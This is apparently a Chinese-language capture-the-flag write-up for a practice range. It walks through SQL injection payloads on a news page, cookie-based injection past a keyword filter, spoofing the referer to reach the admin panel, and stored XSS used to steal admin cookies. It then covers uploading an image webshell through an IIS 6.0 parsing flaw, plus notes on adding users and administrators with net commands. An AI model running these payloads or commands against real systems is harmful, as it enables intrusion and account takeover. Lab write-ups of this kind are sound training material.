[关闭]
@shaobaobaoer 2018-07-15T07:38:13.000000Z 字数 2517 阅读 1425

Track 公开课靶场

未分类


lury 小表弟给我找到的题目,自己做到传马这边做不下去了,后来动用工具才发现这是track公开课的题目。感觉两道题超有意思的,这边写个wp

0x00 辛巴猫舍

http://120.203.13.111:6815/?id=1

这题比较简单 sqlmap一扫啥都有了

0x01 某企业公司真实渗透

http://120.203.13.111:8001

知识点

...

实战

一拿到这个题目,先看各种操作先扫一下,结果御剑一扫描好多好多东西:
TIM截图20180715100846.png-56.4kB

尝试各种骚操作未果。比较能够引起我注意的是MDB文件,电脑里没有Access,一边下着,一边看看注入点。

后来发现那个mdb文件里面没有什么有价值的信息

注册这边似乎么有什么注入点可以找。后来在新闻页面找到了注入点。【这么明目张胆的嚒...】

STEP 1 注入得到管理员密码

稍微总结一下,大概是这样的

  1. http://120.203.13.111:8001/shownews.asp?id=172 # ID=172的新闻
  2. http://120.203.13.111:8001/shownews.asp?id=172-1 # ID=171的新闻
  3. http://120.203.13.111:8001/shownews.asp?id=172-1 order by 10 # ID=171的新闻
  4. http://120.203.13.111:8001/shownews.asp?id=172-1 order by 11 # 数据库出错
  5. # 这样被WAF了
  6. http://120.203.13.111:8001/shownews.asp?id=172-1 union select 1,2,3,4,5,6,8,9,10
  7. # 传参错误!参数 的值中包含非法字符串! 请不要在参数中出现:and update delete ; insert mid master 等非法字符

由于没有学过ASP,去runoob补了波东西。
在ASP中,获取传递数据的对象是 Requst。

TIM截图20180715102409.png-37.8kB

那么如果要获取GET参数的话,一个是用QueryString方法【可以理解为$__GET】,另一个是用ServerVariables方法【可以理解为$__SERVER】。

如果一个程序员贪图方便的话,会写成ServerVariables方法。如果是这样的话,传递Cookie和发送GET请求是一样的。也就是说可以吧id写到cookie里面去。就像这样

TIM截图20180715102941.png-94.2kB

之后爆破一下常见的表名【我感觉这个题目不是mysql】

比如password,users,user,page....

  1. # 果然user出来了丶东西
  2. id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+user
  3. # 这字段也太好猜了吧....
  4. id=171+union+select+1,password,username,4,5,6,7,8,9,10+from+user
  5. # 这才是真的
  6. id=171+union+select+1,password,username,4,5,6,7,8,9,10+from+admin

TIM截图20180715104159.png-38.3kB

后来才想起来这个admin是自己注册的东西。不过还有个表叫admin的。里面才是真正的密码。

TIM截图20180715104419.png-29.8kB

拿到管理员密码welcome。登录得到FLAG

不过这个密码也是能爆破的,。总之,ASP建站的时候,利用一个不太正确的参数传递方法,就会导致整个网站被渗透。

STEP 2 CSRF 登录真后台

不过刚才登录的是个假后台,真后台被御剑扫出来是/admin123/default.asp

登录之后,似乎受到了阻碍....

  1. 对不起,为了系统安全,不允许从外部链接地址访问本系统的后台管理页面。
  2. 访问者的Curl(host)为:
  3. http://120.203.13.111:81/admin123/sysadmin_view.asp
  4. 访问者的Comeurl(referer)为:
  5. http://120.203.13.111:8001/admin123/default.asp
  6. 以下为本功能主要代码片断,提供给同学们分析:

系统给了我们提示

这还不简单嚒....BP抓包。要么把GET后面的参数改成 /admin123/sysadmin_view.asp。refer 改成 http://120.203.13.111:81/admin123/sysadmin_view.asp。 就行了。

TIM截图20180715110956.png-23.6kB

STEP 3 留言板与管理员cookie

还记得这个地方有个留言板吧。没错那一定是能XSS的!
主题的地方是能够XSS的,一点开还真是个修罗场啊

TIM截图20180715111357.png-52.8kB

这个xss出的比前面两题都差了许多。把XSS的东西插进去就行,我们只要拿cookie就可以了。

20180715132302.png-85.3kB

STEP 4 利用cookie绕过验证进入管理页面

之后就很简单了。首先是在8002的端口重新打一遍xss,截获管理员cookie。【注意别弄到8001的端口上去了。】当然,截获的cookie比较多,实际上你要把它们都输入【除了flag】才能进入后台

进入后台之后呢,找个上传点,在上传产品这边有个上传点。
当然这边只能传图片,但是Microsoft-IIS/6.0有个解析漏洞,就是.cer文件。

制作图片马,并上传,菜刀连接,成功getshell
TIM截图20180715141820.png-79.5kB

FLAG 在目录底下
TIM截图20180715142118.png-7.4kB

STEP 5 C盘提权

这个我是啥都不会了。我去看直播课并把笔记记载下面。

为什么ASP,PHP等能够调用cmd函数呢?

其实是调用wscript.shell的组件来实现的。

如何利用CMD命令添加用户与组?

  1. Net user shaobao 12345 /add
  2. 函数 参数 用户名 密码
  3. 添加用户的权限仅仅是管理员用户组才能执行

但是利用别的方法,窃取到其他有更高权限的进程后,能够达到提权的目的。比如mysql的运行权限是system权限【windows下的最高权限】,所以通过mysql写的文件也是system权限。

寻找远程桌面连接端口 3389

  1. mstsc.exe 远程桌面服务 往往会对应一个端口
  2. TermService 是远程桌面服务的名字
  3. # 查询服务
  4. tasklist -svc
  5. 进程线,PID,服务名
  6. netstat -ano
  7. 本地连接地址,目标连接地址,连接状态,PID
  8. net localgroup administrators users /add
  9. 参数(对组操作) 目标组名 目标id
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注